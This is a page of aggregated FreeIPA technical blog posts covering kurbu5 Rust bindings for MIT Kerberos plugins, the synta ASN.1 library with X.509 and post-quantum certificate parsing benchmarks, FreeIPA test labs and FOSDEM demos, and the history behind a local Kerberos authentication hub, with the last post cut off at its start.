FreeIPA Identity Management planet - technical blogs

How I Work

2026-04-15T17:18:45+00:00

This is likely to be the worst and most boring post I’ve ever done. But I want to get it out on the low chance that someone finds it useful. I tend to do almost everything manually, beyond installation scripts, rather than trying to automate much. Environment For quite a few years I had a … Continue reading →

kurbu5: MIT Kerberos plugins in Rust

2026-04-04T19:10:00+00:00

For a couple of years, Andreas Schneider and I have been working on a project we call the ‘local authentication hub’: an effort to use the Kerberos protocol to track authentication and authorization context for applications, regardless of whether the system they run on is enrolled into a larger organizational domain or is standalone. We aim to reuse the code and experience we got while developing Samba and FreeIPA over the past twenty years.

Local authentication hub

The local authentication hub relies on a Kerberos KDC available on demand on each system. We achieved this by allowing MIT Kerberos to communicate over UNIX domain sockets. On Linux systems, systemd allows processes to be started on demand when someone connects to a UNIX domain socket, and MIT Kerberos 1.22 has support for this mode.

A KDC accessible over a UNIX domain socket is not very useful in itself: it is only available within the context of a single machine (or a single container, or pod, if UNIX domain sockets are shared across multiple containers). Otherwise, it is a fully featured KDC with its own quirks. And we can start looking at what could be improved based on the enhanced context locality we have achieved. For example, a KDB driver can see host-specific network interfaces and thus be able to react to requests such as host/<ip.ad.dr.ess>@LOCALKDC-REALM dynamically—something that a centrally-managed KDC would only do through statically registered service principal names (SPNs), which are a pain to update as machines move across networks.

Adding support for dynamic features means new code needs to be written. MIT Kerberos is written in C, so our choices are either to continue writing in C or to integrate with whatever new language we choose. Initially, we kept the local KDC database driver written in C and decided to build the infrastructure we need in Rust. The end goal is to have most bits written in Rust.

The local KDC database isn’t supposed to handle millions of principal entries, but even for millions of them, MIT Kerberos has a pretty good default database driver built on LMDB: klmdb. We wanted to get out of the data store business and instead focus on higher-level logic. Thus, we made the same change I made in Samba around 2003 for virtual file system modules: we introduced support for stackable KDB drivers. This is also a part of the MIT Kerberos 1.22 release: a KDB driver implementation can ask the KDC to load a different KDB driver and choose to delegate some requests to it. The local KDC driver is using klmdb for that purpose.

With the database handled for us by klmdb, we focused on the local KDC-specific logic. We wanted to dynamically discover user principals from the operating system so that administrators do not need to maintain separate databases for them. systemd provides a userdb API to query such information over a varlink interface (also available over a UNIX domain socket) in a structured way, using JSON format. Thus, the Kirmes project was born. Kirmes is a Rust data library backed by the userdb API. It handles varlink communication through the wonderful Zlink library and exposes both asynchronous and synchronous access to user and group information.

The local KDC database driver prototype used the Kirmes C API. We demonstrated it at FOSDEM 2025: a user lookup is done over varlink, and if a user is present on the system, their Kerberos key is then looked up in klmdb using a specially-formatted userdb:<username> principal. You still need to handle those keys somehow, but there is a way to avoid that: use RADIUS.

Pre-authentication

A bit of historical reference. In 2012, Red Hat collaborated with MIT to introduce a KDC-side implementation of RFC 6560 (the OTP pre-authentication mechanism; at that point implemented in a proprietary solution by the RSA corporation). This mechanism allowed the KDC to get a hint out of a KDB driver and ask a RADIUS server to authenticate the credentials provided by the Kerberos client. Unlike traditional Kerberos symmetric keys, in this case, the client is sending a plain-text credential over the Kerberos protocol, and this credential can be forwarded to the RADIUS server. The plain-text nature of the RADIUS credential requires the use of a secure communication channel, and a good part of RFC 6560 relies on Flexible Authentication Secure Tunneling (FAST, RFC6113), where a pre-existing Kerberos ticket is used to encrypt the content of that tunnel.

Since ~2013, FreeIPA has used this mechanism to provide multi-factor authentication mechanisms: HOTP/TOTP tokens, RADIUS proxying to remote servers, the OAuth2 device authorization grant flow, and FIDO2 tokens. The list of mechanisms can be extended, as long as the model fits into the somewhat constrained Kerberos exchange flow. FreeIPA handles all communication from the KDC side via a local UNIX domain socket-activated daemon, ipa-otpd, which performs a user principal lookup and then decides on the details of how that user will be authenticated.

For the local KDC case, we used a similar approach but wrote a simplified version, localkdc-pam-auth, which uses PAM to authenticate user credentials. It works well and allows for a drop-in replacement: once the local KDC is set up, users defined on the system will automatically be able to receive Kerberos tickets, with no need to change any passwords or migrate their credentials into the Kerberos KDC. All we need now is the business logic to guide the KDC to use the OTP pre-authentication mechanism so that our RADIUS ‘proxy’ (localkdc-pam-auth) gets activated. This logic is implemented and will be available in the first localkdc release soon.

API bindings

But back to the KDC side. As mentioned above, our goal was to write the local KDC database driver in a modern, safe language. Interfacing Rust with the MIT Kerberos KDC means building an interface that allows aligning code on both sides. This is what this blog is actually about (sorry for the long prelude…): how to make an MIT Kerberos KDB driver in Rust.

Today I published Kurbu5, a project that aims to provide these API bindings to Rust. The name is a transliteration of “krb5” into Mesopotamian cuneiform phonology: Kurbu-ḫamšat-qaqqadī—”The Blessed Five-Headed One”.

Creating API bindings is tedious work: there are many interfaces, each representing multiple functions and structures. MIT Kerberos has 12 interfaces which altogether expose roughly 117 methods that plugin authors implement, backed by around 70 supporting types (data structures passed into and out of those methods). It all sounds like a Tolkien tale: nine interfaces for core Kerberos functionality (checking password quality, mapping hostnames to Kerberos realms, mapping Kerberos principals to local accounts, selecting which credential cache to use, handling pre-authentication on both the client and server side, enforcing KDC policy, authorizing PKINIT certificates, and auditing events on the KDC side), the database backend interface, and two administrative interfaces. This is something that could be automated with agentic workflows—which I did to allow a parallel porting effort. The resulting agent instructions are useful artifacts in themselves: they show how to work when porting MIT Kerberos C code to Rust.

The result is split over several Rust crates to allow targeted reuse. The bulk of the code lives in three crates. The core Kerberos plugin crate (kurbu5-rs) is the largest at around 12,600 lines. The database backend crate (kurbu5-kdb-rs) follows at 5,600 lines, and the administration crate (kurbu5-kadm5-rs) at 3,100 lines. The remaining crates—the proc-macro derives and the raw FFI sys crates—are much smaller, with the sys crates being almost trivially thin (the KDB and kadm5 ones are under 40 lines each, since they mostly just re-export bindings from the main sys crate).

All crates are available on crates.io and share the same MIT license as the original MIT Kerberos.

kurbu5-sys — Raw FFI bindings to the MIT Kerberos libkrb5 and KDB plugin API
kurbu5-derive — Proc-macro derives for kurbu5-rs non-KDB plugin interfaces
kurbu5-rs — Safe, idiomatic Rust API for writing MIT Kerberos non-KDB plugin modules
kurbu5-kdb-sys — KDB plugin API re-export — thin wrapper over kurbu5-sys adding libkdb5 linkage
kurbu5-kdb-derive — Proc-macro derive for kurbu5-kdb-rs KDB driver plugins
kurbu5-kdb-rs — Safe, idiomatic Rust API for writing MIT Kerberos KDB driver plugins
kurbu5-kadm5-sys — KADM5 plugin API bindings — links libkadm5srv_mit and re-exports kurbu5-sys types
kurbu5-kadm5-derive — Proc-macro derives for kurbu5-kadm5-rs KADM5_AUTH and KADM5_HOOK plugin interfaces
kurbu5-kadm5-rs — Safe, idiomatic Rust API for writing MIT Kerberos KADM5_AUTH and KADM5_HOOK plugin modules

In the localkdc project, we use kurbu5 to build a KDB driver and provide our audit plugin. We also have an experimental re-implementation of the OTP pre-authentication mechanism, both client and KDC sides, that was used to test interoperability with MIT Kerberos versions. The core of the KDB driver is ~520 lines of heavily documented Rust code, mostly handling business logic.

ASN.1 for legacy apps: Synta

2026-03-23T08:33:00+00:00

Pretty much everything I deal with requires parsing ASN.1 encodings. ASN.1 definitions published as part of internet RFCs: certificates are encoded using DER, LDAP exchanges use BER, Kerberos packets are using DER as well. ASN.1 use is a never ending source of security issues in pretty much all applications. Having safer ASN.1 processing is important to any application developer.

In FreeIPA we are using three separate ASN.1 libraries: pyasn1 and x509 (part of PyCA) for Python code, and asn1c code generator for C code. In fact, we use more: LDAP server plugins also use OpenLDAP’s lber library, while Kerberos KDC plugins also use internal MIT Kerberos parsers.

The PyCA developers noted in their State of OpenSSL statement:

[…] when pyca/cryptography migrated X.509 certificate parsing from OpenSSL to our own Rust code, we got a 10x performance improvement relative to OpenSSL 3 (n.b., some of this improvement is attributable to advantages in our own code, but much is explainable by the OpenSSL 3 regressions). Later, moving public key parsing to our own Rust code made end-to-end X.509 path validation 60% faster — just improving key loading led to a 60% end-to-end improvement, that’s how extreme the overhead of key parsing in OpenSSL was.

That’s 16x performance improvement over the OpenSSL 3. OpenSSL did improve their performance since then but it still pays an overhead for a very flexible design to allow loading cryptographic implementations from dynamic modules (providers). Enablement for externally-provided modules is essential to allow adding new primitives and support for government-enforced standards (such as FIPS 140) where implementations have to be validated in advance and code changes cannot come without expensive and slow re-validation process.

Nevertheless, in FreeIPA we focus on integrating with Linux distributions. Fedora, CentOS Stream, and RHEL enforce crypto consolidation rules, where all packaged applications must be using the same crypto primitives provided by the operating system. We can process metadata ourselves but all cryptographic operations still have to go through OpenSSL and NSS. And paying large performance costs during metadata processing would be hurting to infrastructure components such as FreeIPA.

FreeIPA is a large beast. Aside from its management component, written in Python, it has more than a dozen plugins for 389-ds LDAP server, plugins for MIT Kerberos KDC, plugins for Samba, and tight integration with SSSD, all written in C. Its default certificate authority software, Dogtag PKI, is written in Java and relies on own stack of Java and C dependencies. We are using PyCA’s x509 module for certificate processing in Python code but we cannot use it and underlying ASN.1 libraries in C as those libraries aren’t exposed to C applications or intentionally limited in their functionality to PKI-related tasks.

For the 2026-2028, I’m focusing on enabling FreeIPA to handle post-quantum cryptography (PQC), as a part of the Quantum-Resistant Cryptography in Practice (QARC) project. The project is funded by the European Union under the Horizon Europe framework programme (Grant Agreement No. 101225691) and supported by the European Cybersecurity Competence Centre. One of well publicized aspects of moving to PQC certificates is their sizes. The following table 5 is from Post-Quantum Cryptography for Engineers IETF draft summarizes it well:

PQ Security Level	Algorithm	Public key size (bytes)	Private key size (bytes)	Signature size(bytes)
Traditional	RSA2048	256	256	256
Traditional	ECDSA-P256	64	32	64
1	FN-DSA-512	897	1281	666
2	ML-DSA-44	1312	2560	2420
3	ML-DSA-65	1952	4032	3309
5	FN-DSA-1024	1793	2305	1280
5	ML-DSA-87	2592	4896	4627

Public keys for ML-DSA-65 certificates 7.6x bigger than RSA-2048 ones. You need to handle public keys in multiple situations: when performing certificates’ verification against known certificate authorities (CAs), when matching their properties for validation and identity derivation during authorization, when storing them. FreeIPA uses LDAP as a backend, so storing 7.6 times more data directly affects your scalability when number of users or machines (or Kerberos services) grow up. And since certificates are all ASN.1 encoded, I naturally wanted to establish a performance baseline to ASN.1 parsing.

Synta, ASN.1 library

I started with a small task: created a Rust library, synta, to decode and encode ASN.1 with the help of AI tooling. It quickly grew up to have its own ASN.1 schema parser and code generation tool. With those in place, I started generating more code, this time to process X.509 certificates, handle Kerberos packet structures, and so on. Throwing different tasks at Claude Code led to iterative improvements. Over couple months we progressed to a project with more than 60K lines of Rust code.

Language	files	blank	comment	code
Rust	207	9993	17492	67284
Markdown	52	5619	153	18059
Python	41	2383	2742	7679
C	17	852	889	4333
Bourne Shell	8	319	482	1640
C/C++ Header	4	319	1957	1138
TOML	20	196	97	896
YAML	1	20	46	561
make	4	166	256	493
CMake	3	36	25	150
JSON	6	0	0	38
diff	1	6	13	29
SUM	364	19909	24152	102300

I published some of the synta crates yesterday on crates.io, the whole project is available at codeberg.org/abbra/synta. In total, there are 11 crates, though only seven are published (and synta-python is also available at PyPI):

Crate	Lines (src/ only)
synta	10572
synta-derive	2549
synta-codegen	17578
synta-certificate	4549
synta-python	8953
synta-ffi	7843
synta-krb5	2765
synta-mtc	7876
synta-tools	707
synta-bench	0
synta-fuzz	3551

Benchmarking, fuzzer, and tools aren’t published. They only needed for development purposes.

Performance

The numbers below were obtained on Lenovo ThinkPad P1 Gen 5, 12th Gen Intel(R) Core(TM) i7-12800H, 64 GB RAM, on Fedora 42. This is pretty much a 3-4 years old hardware.

Benchmarking is what brought this project to life, let’s look at the numbers. When dealing with certificates, ASN.1 encoding can be parsed in different ways: you can visit every structure or stop at outer shells and only visit the remaining nested structures when you really need them. The former is “parse+fields” and the latter is “parse-only” in the following table that summarizes comparison between synta and various Rust crates (and OpenSSL/NSS which were accessible through their Rust FFI bindings):

Library	Parse-only	Parse+fields	vs synta (parse-only)	vs synta (parse+fields)
synta	0.48 µs	1.32 µs	—	—
cryptography-x509	1.45 µs	1.43 µs	3.0× slower	1.1× slower
x509-parser	2.01 µs	1.99 µs	4.2× slower	1.5× slower
x509-cert	3.16 µs	3.15 µs	6.6× slower	2.4× slower
NSS	7.90 µs	7.99 µs	16× slower	6.1× slower
rust-openssl	15.4 µs	15.1 µs	32× slower	11× slower
ossl	16.1 µs	15.8 µs	33× slower	12× slower

“Parse+fields” tests access every named field: serial number, issuer/subject DNs, signature algorithm OID, signature bytes, validity period, public key algorithm OID, public key bytes, and version. The “parse+fields” speedup is the fair end-to-end comparison: synta’s parse-only advantage is large because most fields are stored as zero-copy slices deferred until access, while other libraries must materialise all fields eagerly at parse time.

The dominant cost in X.509 parsing is Distinguished Name traversal: a certificate’s issuer and subject each contain a SEQUENCE OF SET OF SEQUENCE with per-attribute OID lookup. synta defers this entirely by storing the Name as a RawDer<'a> — a pointer+length into the original input with no decoding. cryptography-x509 takes a similar deferred approach. The nom-based and RustCrypto libraries decode Names eagerly. NSS goes further and formats them into C strings, which is the dominant fraction of its 16× parse overhead.

For benchmarking I used certificates from PyCA test vectors. There are few certificates with different properties, so we parse them multiple times and then average numbers:

Certificate	synta	cryptography-x509	x509-parser	x509-cert	NSS
cert_00 (NoPolicies)	1333.7 ns	1386.7 ns	1815.9 ns	2990.6 ns	7940.3 ns
cert_01 (SamePolicies-1)	1348.8 ns	1441.0 ns	2033.4 ns	3174.3 ns	7963.8 ns
cert_02 (SamePolicies-2)	1338.6 ns	1440.1 ns	2120.1 ns	3205.6 ns	8206.8 ns
cert_03 (anyPolicy)	1362.4 ns	1468.3 ns	2006.2 ns	3194.5 ns	7902.4 ns
cert_04 (AnyPolicyEE)	1232.9 ns	1424.7 ns	1968.6 ns	3168.1 ns	7913.1 ns
Average	1323 ns	1432 ns	1989 ns	3147 ns	7985 ns

The gap between synta (1.32 µs) and cryptography-x509 (1.43 µs) is tighter here than in parse-only (3.0×) because synta’s field access includes two format_dn() calls (~800 ns combined) that cryptography-x509 does for effectively free (its offsets were computed at parse time). Synta leads by ~8% overall.

Now, when parsing PQC certificates, an interesting thing happens. First, it is faster to parse ML-DSA than traditional certificates.

Certificate	synta	cryptography-x509	x509-parser	x509-cert	NSS
ML-DSA-44	1030.9 ns	1256.4 ns	1732.2 ns	2666.0 ns	7286.9 ns
ML-DSA-65	1124.9 ns	1237.5 ns	1690.5 ns	2664.2 ns	7222.1 ns
ML-DSA-87	1102.6 ns	1226.5 ns	1727.2 ns	2696.6 ns	7284.6 ns
Average	1086 ns	1240 ns	1717 ns	2675 ns	7265 ns

synta’s ML-DSA parse+fields (1.09 µs) is faster than its traditional parse+fields (1.32 µs) because ML-DSA test certificates have shorter Distinguished Names (one attribute each in issuer and subject vs multiple attributes in traditional certificates in the test above). The signature BIT STRING — which is 2,420–4,627 bytes for ML-DSA — is accessed as a zero-copy slice with no size-dependent cost.

Processing CA databases

Imaging your app needs to test whether the certificate presented by a client is known to you (e.g. belongs to a trusted CAs set). A library like OpenSSL looks at the client’s certificate, extracts identifiers of the certificate issuer, looks up whether such issuer is known in the CA database. That would require looking up properties of the certificates in the database. The fast we can do that, the better.

All those numbers in the previous section are for a single certificate being parsed millions of times. In a real app we often need to validate the certificate against a system-wide database of certificate authorities. The database used by Fedora and other Linux distributions comes from Firefox. It contains 180 self-signed root CA certificates for all public CAs with diverse key types (RSA 2048/4096, ECDSA P-256/P-384) and DN structures. The median cert by DER size is “Entrust.net Premium 2048 Secure Server CA” (1,070 bytes); the benchmark uses this cert for single-certificate and field-access sub-benchmarks to get stable results that are not sensitive to certificate-size outliers.

Another data I tried to benchmark against is 9,898 certificates from the Common CA Database (CCADB), covering the full multi-level hierarchy used by Mozilla, Chrome, Apple, and Microsoft:

Depth	Count	Description
0	919	Root CAs (self-signed)
1	6,627	Intermediates issued directly by roots
2	2,212	Two levels deep
3	137	Three levels deep
4	3	Four levels deep

Intermediate CA certificates tend to have more complex DNs and more extensions than the root CAs in the Mozilla store. The CCADB median cert is “Bayerische SSL-CA-2014-01” (10,432 bytes). These certificates from CCADB cover past 30 years of certificate issuance on the internet.

To see how those benchmarks would behave if CA roots database would be built with post quantum cryptography, I rebuilt the CCADB corpus as ML-DSA certificates. Nine CCADB certificates were skipped: OpenSSL’s x509 -x509toreq -copy_extensions copy step failed to convert them to CSR form, typically because those certs use non-standard DER encodings or critical extensions that the x509toreq pipeline cannot copy into a PKCS#10 request. (The failures are in OpenSSL’s cert→CSR conversion; synta parses all 9,898 original CCADB certs without error.) This leaves 9,889 of the original 9,898 certs in the synthetic database.

The median cert by DER size is “TrustCor Basic Secure Site (CA1)” (6,705 bytes). ML-DSA certs range from 5,530 B to 16,866 B; the distribution is shifted left relative to the CCADB RSA/ECDSA median (10,432 B) because the smallest CCADB certs (compact root CAs with few extensions) become the new median position after ML-DSA key replacement enlarges all certs uniformly.

Benchmark	Library	Dataset	Time	Throughput
`synta_parse_all`	synta	Mozilla (180 certs)	87.8 µs	2.0 M/sec
`nss_parse_all`	NSS	Mozilla (180 certs)	1.577 ms	114 K/sec
`openssl_parse_all`	rust-openssl	Mozilla (180 certs)	3.552 ms	50.7 K/sec
`ossl_parse_all`	ossl	Mozilla (180 certs)	3.617 ms	49.8 K/sec
`synta_parse_and_access`	synta	Mozilla (180 certs)	261 µs	690 K/sec
`synta_build_trust_chain`	synta	Mozilla (180 certs)	11.6 µs	—
`synta_parse_all`	synta	CCADB (9,898 certs)	5.10 ms	1.94 M/sec
`nss_parse_all`	NSS	CCADB (9,898 certs)	106 ms	93 K/sec
`openssl_parse_all`	rust-openssl	CCADB (9,898 certs)	203 ms	48.8 K/sec
`ossl_parse_all`	ossl	CCADB (9,898 certs)	214 ms	46.3 K/sec
`synta_parse_and_access`	synta	CCADB (9,898 certs)	16.1 ms	615 K/sec
`synta_parse_roots`	synta	CCADB (919 roots)	457.7 µs	2.01 M/sec
`synta_parse_intermediates`	synta	CCADB (8,979 intermediates)	4.735 ms	1.90 M/sec
`synta_build_dependency_tree`	synta	CCADB (9,898 certs)	559 µs	—
`synta_parse_all`	synta	ML-DSA synth (9,889 certs)	5.78 ms	1.71 M/sec
`nss_parse_all`	NSS	ML-DSA synth (9,889 certs)	103 ms	96.4 K/sec
`openssl_parse_all`	rust-openssl	ML-DSA synth (9,889 certs)	239 ms	41.4 K/sec
`ossl_parse_all`	ossl	ML-DSA synth (9,889 certs)	256 ms	38.6 K/sec
`synta_parse_and_access`	synta	ML-DSA synth (9,889 certs)	17.5 ms	566 K/sec
`synta_parse_roots`	synta	ML-DSA synth (919 roots)	463 µs	1.98 M/sec
`synta_parse_intermediates`	synta	ML-DSA synth (8,970 ints.)	5.10 ms	1.76 M/sec
`synta_build_dependency_tree`	synta	ML-DSA synth (9,889 certs)	549 µs	—

NSS is 18–21× slower than synta across all three datasets; rust-openssl is 40–41× slower and ossl is 41–44× slower. All three C-backed libraries successfully parse ML-DSA certificates (NSS 3.120+ and OpenSSL 3.4+ support ML-DSA natively). NSS’s absolute parse time is nearly identical across CCADB traditional certs (106 ms) and ML-DSA synthetic certs (103 ms) — confirming that NSS’s dominant cost is eager DN formatting at parse time, which depends on DN attribute count rather than the signature algorithm. The slightly lower relative slowdown for NSS on ML-DSA (18× vs 21×) is entirely because synta is slower on ML-DSA (5.78 ms vs 5.10 ms), not because NSS is faster.

synta’s throughput is consistent at ~1.7–2.0 M certs/sec across all three datasets, confirming linear O(n) scaling. Parse rate is slightly lower for the ML-DSA synthetic hierarchy (1.71 M/sec) than for the CCADB traditional hierarchy (1.94 M/sec) because the larger ML-DSA SubjectPublicKeyInfo and signature BIT STRING fields add bytes to the tag+length-header scan that synta performs at parse time. The intermediates-only sub-benchmark is slightly lower than roots-only in each dataset (1.76 M/sec vs 1.98 M/sec for ML-DSA; 1.90 M/sec vs 2.01 M/sec for CCADB) because intermediate CAs tend to have more complex DNs and extension lists.

Finally, individual property access for a pre-parsed certificate, single field read, no allocation unless noted:

Field	Mozilla (1,070 B)	CCADB (10,432 B)	ML-DSA (6,705 B)	Notes
`issuer_raw` / `subject_raw`	4.1 / 4.1 ns	4.2 / 4.1 ns	4.5 / 4.4 ns	Zero-copy slice
`public_key_bytes` / `signature_bytes`	4.1 / 4.1 ns	4.2 / 4.2 ns	4.6 / 4.4 ns	Zero-copy slice
`signature_algorithm` / `public_key_algorithm`	5.9 / 5.4 ns	5.9 / 5.5 ns	6.3 / 6.4 ns	OID → `&'static str`
`serial_number`	10.9 ns	6.8 ns	7.5 ns	Integer → i64, length-dependent
`validity`	180 ns	206 ns	231 ns	Two time-string allocations
`issuer_dn`	401 ns	224 ns	246 ns	`format_dn()` → `String`
`subject_dn`	404 ns	292 ns	324 ns	`format_dn()` → `String`

Zero-copy fields (issuer_raw, subject_raw, public_key_bytes, signature_bytes) cost ~4–5 ns — the price of reading a pointer and length from a struct field. The slightly higher cost for CCADB and ML-DSA fields vs Mozilla is within measurement noise.

identify_signature_algorithm() and identify_public_key_algorithm() match the OID component array against a static table and return &'static str — no allocation, no string formatting. The ~5–6 ns cost is a few comparisons and a pointer return.

serial_number cost depends on the integer’s byte length: the Entrust Mozilla cert carries a 16-byte serial number (parsed via SmallVec<[u8; 16]>), while the CCADB and ML-DSA synthetic medians have shorter serials. At 10.9, 6.8, and 7.5 ns respectively, all are negligible.

validity (~180–231 ns) allocates two strings: UTCTime and GeneralizedTime are formatted from their raw DER bytes into owned Strings. The two calls account for essentially all of the cost; the YYMMDDHHMMSSZ to RFC 3339 formatting is the dominant work.

format_dn() is the most variable field: it walks the Name DER bytes, decodes each SEQUENCE OF SET OF SEQUENCE, looks up each attribute OID by name, and formats the result into an owned String. The Mozilla cert’s issuer DN is more complex (multiple attributes, longer values: 401 ns) than the CCADB median (224 ns) or the ML-DSA synthetic median (246 ns). The ML-DSA synthetic median’s subject DN (324 ns) is slightly more expensive than the CCADB median (292 ns) because a different cert occupies the median position after key replacement. format_dn() cost is proportional to the DN’s attribute count and string lengths.

Why C Libraries Are Slower

CERT_NewTempCertificate (NSS) and OpenSSL’s d2i_X509 perform significantly more work per certificate than synta:

Eager DN formatting — NSS formats the issuer and subject Distinguished Names into internal C strings during CERT_NewTempCertificate, even when the caller never reads them. Distinguished Name formatting is the single most expensive operation in certificate parsing; doing it unconditionally at parse time accounts for roughly 80% of NSS’s total parse cost. OpenSSL decodes DN structure eagerly as well.
Arena and heap allocation — each NSS certificate allocates a PLArena block and copies the full DER buffer into it (copyDER = 1). OpenSSL allocates from the C heap. These allocations are additional work beyond decoding.
Library state and locking — NSS acquires internal locks on every CERT_NewTempCertificate call to update the certificate cache, even when the resulting certificate is marked as temporary. This serialises concurrent parsing in multi-threaded applications.
FFI boundary costs — the rust-openssl and ossl measurements include the overhead of crossing from Rust into the C library via extern "C" calls and pointer marshalling.

synta defers all of (1): issuer and subject are stored as RawDer<'a> (borrowed byte spans) and decoded only when the caller calls format_dn(). There is no locking, no arena, and no FFI boundary.

In these tests I also found out that PyCA’s cryptography-x509 doesn’t have optimizations for multiple accesses to the same fields. It is typically not a problem if you are just loading a certificate and use it once. If you have to return back to it multiple times, that becomes visible and hurts your performance. So I submitted a pull request to apply some of the optimizations I found with synta. The pull request had to be split into smaller ones and few of them were already merged, so performance to access issuer, subject, and public key in certificates and to some attributes in CSRs was improved 100x. The rest waits for improvements in PyO3 to save some of memory use.

FreeIPA local tests and FOSDEM demos

2025-02-14T11:15:00+00:00

FOSDEM 2025 is behind us. We ran Identity and Access Management devroom at FOSDEM. At the devroom, my team did few talks and demos about FreeIPA and Kerberos. While preparing to those talks, we tried to create demonstrations that could be repeated by others as well. First, this was an attempt to help ourselves, as we need to communicate our advances to others in the teams. Then we started to look at how to show our progress to folks outside of the development groups.

We iterated over our tools and finally ended up with something that is based on what we use in upstream CIs: we use podman containers to run what ends up being ephemeral VMs hosting the software. This doesn’t give ability to handle all possible scenarios. It is not a way to run actual production environments as well. Yet, it allows us a quick reuse and share:

descriptive definition of the deployment configuration
standard tooling to provision the configuration as containers with podman-compose
use of Ansible playbooks to run repeatable actions against the hosts, with inventory taken from the podman-compose integration

The tool, ipalab-config, quickly became flexible enough to be used in multiple scenarios. It powers ansible-freeipa’s own upstream CI, we aim to reuse it for new FreeIPA Web UI development and for the FreeIPA workshop.

For the demos at FOSDEM IAM devroom we put a separate repository that has all the scenarios and even recording files to reproduce the demos: freeipa-local-tests. You can try yourself how local authentication hub or IPA-IPA trust or IPA-IPA migration do work.

This project demonstrates how complex multi-system FreeIPA deployments can be tested locally or in your CI/CD. The test environment is built with the help of podman and orchestrated with ipalab-config and podman-compose tools. FreeIPA environment is deployed with the help of ansible-freeipa. Upstream, we run these tests in Github Actions as well.

Demo labs

Following configurations provided as ‘labs’ that can be reproduced using ipalab-config tool and the configurations from this project:

minimal deployment, consisting of a FreeIPA server and a FreeIPA client enrolled into it.
local KDC, consisting of two standalone machines, not enrolled into any domain. Each machine runs its own Kerberos KDC exposed to local applications over UNIX domain socket, with socket activation handled by systemd. See “localkdc - local authentication hub” talk at FOSDEM 2025. This is currently a work in progress.
FreeIPA deployment migration, demonstrating how IPA data can be migrated between separate test and production deployments. See “FreeIPA-to-FreeIPA Migration: Current Capabilities and Use Cases” talk at FOSDEM 2025.
FreeIPA trust, demonstrating how two separate IPA deployments can be set up to trust each other. See “Building Cross-Domain Trust Between FreeIPA Deployments” talk at FOSDEM 2025. This is currently a work in progress.

Demo recordings

Some of the demo labs have automated recording of the operations that could be performed on them. Video recording is built upon excellent VHS tool. A pre-built version for Fedora is provided in COPR abbra/vhs. This build also includes a fix from the upstream PR#551.

Minimal deployment demo

This demo recording includes a minimal use of FreeIPA command line:

an administrator logs into a client system over SSH using a password
Kerberos ticket is obtained automatically by the SSSD
IPA command line tool can authenticate to IPA server using Kerberos

Local KDC demo

The local KDC demo is more evolved:

a user logs into their own machine over SSH using a password
Kerberos ticket is obtained automatically by the SSSD from the local KDC which is activated on demand
User then uses a Kerberos ticket to authenticate to SUDO and obtain root privileges
The user also uses the Kerberos ticket to authenticate to Samba server running locally
Finally, the user authenticates with Kerberos IAKerb extension to a remotely running Samba server, removing completely a need for NTLM authentication protocol

IPA to IPA trust demo

This is a minimalistic demo of how users and groups from one IPA environment can be resolved in the other IPA environment. There is a trust agreement established between both IPA environments, similarly how IPA can establish a forest level trust with Active Directory.

Local authentication hub

2025-02-09T11:00:00+00:00

FOSDEM 2025 is just behind us and it was a great event. I had a chance to talk about the local authentication hub project. The talk was well received and I got a lot of questions about the project. We ran Identity and Access Management devroom for the second time in row and it was a great success. I had two talks at the IAM devroom, both were process reports on the activity we have announced at FOSDEM 2024. Now that both recordings of the both talks published, I can share articles which go into more details.

Local authentication hub

Our FOSDEM talk is “localkdc - a general local authentication hub”. You can watch it and come back here for more details.

But before going into details, let me provide a bit of a background. It is 2025 now and we should go almost three decades back (ugh!).

History dive

Authentication on Linux systems is interwoven with the identity of the users. Once a user logged in, a process is running under a certain POSIX account identity. Many applications validate the presence of the account prior to the authentication itself. For example, the OpenSSH server does check the POSIX account and its properties and if the user was not found, will intentionally corrupt the password passed to the PAM authentication stack request. An authentication request will fail but the attempt will be recorded in the system journal.

This joint operation between authentication and identification sources in Linux makes it important to maintain a coherent information state. No wonder that in corporate environments it is often handled centrally: user and group identities stored at a central server and sourced from that one by a local software, such as SSSD. In order to consume these POSIX users and groups, SSSD needs to be registered with the centralized authority or, in other words, enrolled into the domain. Domain enrollment allows not only identity and authentication of users: both the central server and the enrolled client machine can mutually authenticate each other and be sure they talk to the right authority when authenticating the user.

FreeIPA provides a stable mechanism for building a centralized domain management system. Each user account has POSIX attributes associated with it and each user account is represented by the Kerberos principal. Kerberos authentication can be used to transfer the authentication state across multiple services and provides a chance for services to discover user identity information beyond POSIX. It also makes strong linking between the POSIX level identity and authentication structure possible: for example, a Kerberos service may introspect a Kerberos ticket presented by a user’s client application to see how this user was authenticated originally: with a password or some specific passwordless mechanism. Or, perhaps, that a client application performs operations on behalf of the user after claiming it was authenticated using a different (non-Kerberos) authentication.

Local user accounts’ use lacks this experience. Each individual service needs to reauthenticate a user again and again. Local system login: authenticate. Elevating privileges through SUDO? Authenticate again, if not explicitly configured otherwise. Details of the user session state, like how long this particular session is active, is not checked by the applications, making it also harder to limit access. There is no information on how this user was authenticated. Finally, overall user experience between local (standalone) authentication and domain-enrolled one differs, making it harder to adjust and educate users.

Local authentication is also typically password-based. This is not a bad thing in itself but depending on applications and protocols, worse choices could be made, security-wise. For example, contemporary SMB 3.11 protocol is quite secure if authenticated using Kerberos. For non-Kerberos usage, however, it is left to rely on NTLM authentication protocol which requires use of RC4 stream cipher. There are multiple attacks known to break RC4-based encryption, yet it is still used in majority of non-domain joined communications using SMB protocol simply because there was no (so far) alternative. To be correct, there was always an alternative, use of Kerberos protocol, but setting it up for individual isolated systems wasn’t practical.

The Kerberos protocol assumes the use of three different parties: a client, a service, and a key distribution center (KDC). In corporate environments a KDC is part of the domain controller system, a client and a service are both domain members, computers are enrolled in the domain. The client authenticates to KDC and obtains a Kerberos ticket granting ticket (TGT). It then requests a service ticket from the KDC by presenting its TGT and then presents this service ticket to the service. The service application, on its side, is able to decrypt the service ticket presented by the client and authenticate the request.

In the late 2000s Apple realised that for individual computers a number of user accounts is typically small and a KDC can be run as a service on the individual computer itself. When both the client and server are on the same computer, this works beautifully. The only problem is that when a user needs to authenticate to a different computer’s service, the client cannot reach the KDC hosted on the other computer because it is not exposed to the network directly. Luckily, MIT Kerberos folks already thought about this problem a decade prior to that: in 1997 a first idea was published for a Kerberos extension that allowed to tunnel Kerberos requests over a different application protocol. This specification became later known as “Initial and Pass Through Authentication Using Kerberos V5 and the GSS-API” (IAKerb). An initial implementation for MIT Kerberos was done in 2009/2010 while Apple introduced it in 2007 to enable remote access to your own Mac across the internet. It came in MacOS X 10.5 as a “Back to My Mac” feature and even got specified in RFC 6281, only to be retired from MacOS in 2019.

Modern days

